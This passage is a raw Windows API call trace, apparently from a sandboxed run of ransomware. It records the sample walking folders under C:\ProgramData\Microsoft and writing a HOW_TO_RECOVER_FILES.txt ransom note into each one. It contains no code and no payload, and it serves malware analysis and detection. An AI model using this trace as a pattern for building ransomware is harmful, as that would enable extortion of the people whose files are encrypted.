lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.672] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.672] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.672] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0103.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0103.673] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0103.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0103.673] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlandingstage\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0103.673] GetFileType (hFile=0x20c) returned 0x1 [0103.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0103.673] GetFileType (hFile=0x20c) returned 0x1 [0103.674] WriteFile (in: hFile=0x20c, lpBuffer=0x32a7f28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x32a7f28*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0103.675] CloseHandle (hObject=0x20c) returned 1 [0103.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0103.675] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage", lpFilePart=0x0) returned 0x30 [0103.675] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b11c43, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.676] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b11c43, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.676] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b11c43, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b37da3, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P-ARIA", cAlternateFileName="")) returned 1 [0103.676] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b11c43, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b37da3, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P-ARIA", cAlternateFileName="")) returned 0 [0103.676] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0103.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0103.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0103.676] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage", lpFilePart=0x0) returned 0x30 [0103.676] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b11c43, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.676] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b11c43, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.677] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b11c43, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b37da3, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P-ARIA", cAlternateFileName="")) returned 1 [0103.677] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.677] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0103.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0103.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0103.677] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA", lpFilePart=0x0) returned 0x37 [0103.677] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0103.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed450) returned 1 [0103.959] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x50 [0103.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0103.959] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\tenantstorage\\p-aria\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0104.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9e00) returned 1 [0104.602] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0104.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0104.602] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\tenantstorage\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0104.602] GetFileType (hFile=0x768) returned 0x1 [0104.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0104.602] GetFileType (hFile=0x768) returned 0x1 [0104.603] WriteFile (in: hFile=0x768, lpBuffer=0x3542d60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3542d60*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0104.604] CloseHandle (hObject=0x768) returned 1 [0104.604] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3b [0104.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0104.604] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0104.604] GetFileType (hFile=0x768) returned 0x1 [0104.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0104.604] GetFileType (hFile=0x768) returned 0x1 [0104.605] WriteFile (in: hFile=0x768, lpBuffer=0x3546598*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3546598*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0104.606] CloseHandle (hObject=0x768) returned 1 [0104.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0104.606] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM", lpFilePart=0x0) returned 0x1c [0104.610] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.610] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.611] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0104.611] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0104.611] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0104.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0104.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0104.611] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM", lpFilePart=0x0) returned 0x1c [0104.611] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.611] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.612] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0104.612] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.612] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0104.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0104.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0104.612] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\Server", lpFilePart=0x0) returned 0x23 [0104.612] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.612] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.613] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0104.613] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0104.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0104.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0104.613] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\Server", lpFilePart=0x0) returned 0x23 [0104.613] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.613] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.613] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0104.650] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0104.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0104.650] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\Server\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0104.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0104.681] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\drm\\server\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0104.682] GetFileType (hFile=0x7dc) returned 0x1 [0104.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0104.682] GetFileType (hFile=0x7dc) returned 0x1 [0104.683] WriteFile (in: hFile=0x7dc, lpBuffer=0x3661078*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3661078*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0104.684] CloseHandle (hObject=0x7dc) returned 1 [0104.684] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x35 [0104.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0104.684] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DRM\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\drm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0104.684] GetFileType (hFile=0x7dc) returned 0x1 [0104.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0104.684] GetFileType (hFile=0x7dc) returned 0x1 [0104.685] WriteFile (in: hFile=0x7dc, lpBuffer=0x36648a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x36648a0*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0104.686] CloseHandle (hObject=0x7dc) returned 1 [0104.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0104.686] GetFullPathNameW (in: 